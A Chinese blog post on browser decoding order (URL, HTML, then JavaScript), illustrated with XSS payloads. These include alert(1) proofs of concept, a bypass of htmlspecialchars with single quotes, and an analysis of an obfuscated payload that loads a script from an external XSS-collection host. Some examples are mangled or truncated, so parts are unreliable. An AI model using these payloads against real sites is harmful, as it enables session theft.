浏览器的解码与编码
2020_04_17
作为⼀个浏览器,有三个引擎
1、URL解析引擎
2、HTML解析引擎
3、JS 解析引擎
⾸先来讲URL解析引擎
这⾥拿PHP代码做例⼦:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<a href="javascript:alert('<?php echo $_GET['input'];?>');">test</a>
</body>
</html>
input=%26lt%5cu4e00%26gt
该值构造在URL⾥,浏览器直接发送给服务器,服务器接收之后,先进⾏⼀次URL解析,input 内容变成了<\u4e00>,所以对于浏览器从服务器端获取的页⾯数据来说,此时test对应的标签变成了如下:
<a href="javascript:alert('<\u4e00>');">test</a>
这⾥需要说的是,URL编码/解码在http请求是肯定会发⽣的,该编码只是为了在http请求中保证数据的传输不会丢失
接着就开始了HTML 解析
在HTML解析中,HTML解析器会根据HTML内容来构建DOM树,需要知道在解析的过程中,HTML的解析器只能识别特定的词法规则,才能构建起DOM 树,这⼀块,HTML不会做解码的⼯作!
所以⽐如:<img src="ample">中,HTML解析器在构造DOM树的时候⾸先会匹配<img,然后继续⾛匹配相应的>,在解析的过程中,HTML解析器只能识别特定的词法规则,所以遇到src=它是⽆法识别的,所以这⾥只是⼀个单纯的img标签,不存在危险!
当HTML解析器构建DOM树之后,节点内容就会被开始实体解码,⽐如上⽅的< >,这两个符号被识别为HTML编码,那么就会被解析为<,>
到这⾥的时候该标签的结果为<a href="javascript:alert('<\u4e00>')">test</a>
这时候JS 解释器开始进⾏了
浏览器为了让不同的解析器来⼯作处理不同的内容,实际上,在遇到⽐如<script>,<style>这样的标签,解析器会⾃动切换到js解析模式,⽽src,href等属性后边加⼊的JavaScript伪URL,也会进⼊JS的解析模式。⽽进⼊该解析模式的时候,该DOM节点已经建⽴起来了,也就是HTML解析器已经最少解析到这个地⽅了
此时<a href="javascript:alert('<\u4e00>')">test</a>
javascript开启JS 解释器,JS会先对内容进⾏解析,⾥边有⼀个转义字符\u4e00,前导的 \u 表⽰他是⼀个Unicode 字符,根据后边的数字,解析为'⼀',将会被解析为
<a href="javascript:alert('<⼀>')">test</a>
然后JS 解释器执⾏alert("<⼀>"),这句话会交给浏览器渲染,最终弹窗。
unicode编码还可以在alert函数上使⽤,⽐如:<a href="javascript:\u0061lert('<⼀>')">test</a>
需要注意的是:上边这种直接在字符串外进⾏专⼀的⽅式,只有 Unicode编码⽅式⽀持,其他编码⽅式不⽀持!
在⼀个页⾯中,可以出发JS 解析器的⽅式有这么⼏种:
1、直接嵌⼊代码块,⽐如<script>alert(1);</script>
2、通过< script src=xxx > 加载代码,⽐如<script src="javascript:alert(1);"></script>,⾃⼰测试失败,猜测旧版本的浏览器应该⽀持!
3、各种HTML CSS 参数⽀持JavaScript:URL 触发调⽤,⾃⼰测试失败!
4、CSS expression(…) 语法和某些浏览器的XBL绑定,⽐如<img />,⾃⼰测试失败!
5、事件处理器(Event handlers),⽐如 onload, onerror, onclick等,⽐如<img/src=x onerror=alert(1)>
6、定时器,Timer(setTimeout, setInterval),⽐如<img src=x onerror='setTimeout("ale"+"rt(1)",0)' />
7、eval(…) 调⽤,⽐如eval("<script>alert(1);</script>");
到这⾥的话,基本的解析顺序就是 URL 解析器 -> HTML 解析器 -> JS解析器
继续看下⾯的例⼦:
<p id="1">hello</p>
<script&ElementById("1").innerHTML = "<img src=# on\u0065rror=alert(1)>";</script>
这⾥的解析过程就不⼀样的,过程为:
在线url网址编码解码1、HTML解析器构造DOM树p标签
2、然后碰到<script>标签了,于是HTML解析器就会停下来,让js解析器开始,进⾏脚本的执⾏,遇到on\u0065rror先会进⾏解码为onerror,那么它会执⾏script标签中的内容,实现重构当前的HTML代码,也就是在id为1的元素下的内容修改为<img src=# onerror=alert(1)>
3、现在的结果就为如下:
<p id="1"><img src="#" onerror="alert(1)"></p>
4、HTML解析器发现前⾯有变化,那么就会来到开头,重新进⾏解析,继续先构建DOM树,发现onerror事件,则js解析器开始执⾏,先进⾏解码操作,然后进⾏alert(1),HTML
解析器继续执⾏,执⾏最后结束
那么思考下<img src=# onrror=alert(1)>,如果在onerror的内容中进⾏HTML编码结果是如何呢?
⽐如<script&ElementById("1").innerHTML = "<img src=# on\u0065rror=alert(1)>";</script>
不同的地⽅就是,JS第⼀次执⾏了之后结果为如下:
<p id="1"><img src=# onerror=alert(1)>";</script>
此时需要使⽤HTML解析重塑DOM树,那么节点内容中的实体编码就会被解码,然后onerror中触发脚本,JS⼜会内容进⾏⼀次解析,最终alert(1)
这⾥与上⾯不同的只是,HTML解析器重构DOM树的时候,会先对节点的内容HTML解码,然后继续JS,其实就是会先⽐JS执⾏快⼀些吧!
不知道这样理解对不对,如果有⽼哥看到这篇⽂章有问题的话希望能提出来!
最后再去了解下⼤家说的xss有时候说被HTML实体编码了是什么意思?
⾸先这⾥⽤的PHP代码如下:
<?php echo htmlspecialchars($_GET['input']);?>
input=<script>
看下源代码:<script>
解析过程:
1、HTML解析器尝试去构建DOM树,但是什么都匹配不了,所以⽆DOM树,此时的结果还是<script>
2、发现有HTML实体编码,尝试去进⾏HTML解码,解码完之后的结果<script>,最后在页⾯显⽰
这⾥同样在页⾯上显⽰相同的内容,但是htmlspecialchars的原因,防⽌了XSS的产⽣
再来看<input type="text" value="<?php echo htmlspecialchars($_GET['input']);?>" />,这段代码是否能够进⾏绕过?
⾃⼰来看是⽆解的,因为被实体编码了
如果开发者⽤单引号包裹的话,那么是可以进⾏绕过的,因为htmlspecialchars默认不转义单引号,quotestyle选项为ENT_QUOTES才会过滤单引号
<input type='text' value='<?php echo htmlspecialchars($_GET['input'])?>'>,
此时payload:' autofocus=autofocus onfocus=alert(1)//可以进⾏绕过
2020-11-02补充
分析⼀段xss:
<script>
\u0065\u0076\u0061\u006c(`\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115, </script>
正常的话html解析器会先进⾏解析并且构建对应的DOM树:
1、HTML解析器解析<script>标签
2、<script>是脚本标签,于是HTML解析器就会停下来(在停下来的时候已经提前对这个标签进⾏HTML解码了),接着让js解析器开始解码,解码的结果:
<script>
eval(`document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,120,109,115,46,108,97,47,120,46,112,104,112,63,99,61,83,70,77,66,73,34,62,60,47,115,99,11 </script>
3、解码完了,js就会对这段代码进⾏,document.write当前html源代码中的内容,会在该标签后⾯添加上,如下显⽰
4、这时候源代码被重新渲染了,那么HTML解析器⼜需要重新从头开始进⾏解析,HTML解析到第⼀个<script>,因为DOM树中已经构建了,所以跳过直到第⼆个,⽼样⼦解
析到第⼆个<script>发现是脚本标签,所以js进⾏解码然后解析执⾏脚本,最终发送⼀个请求:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。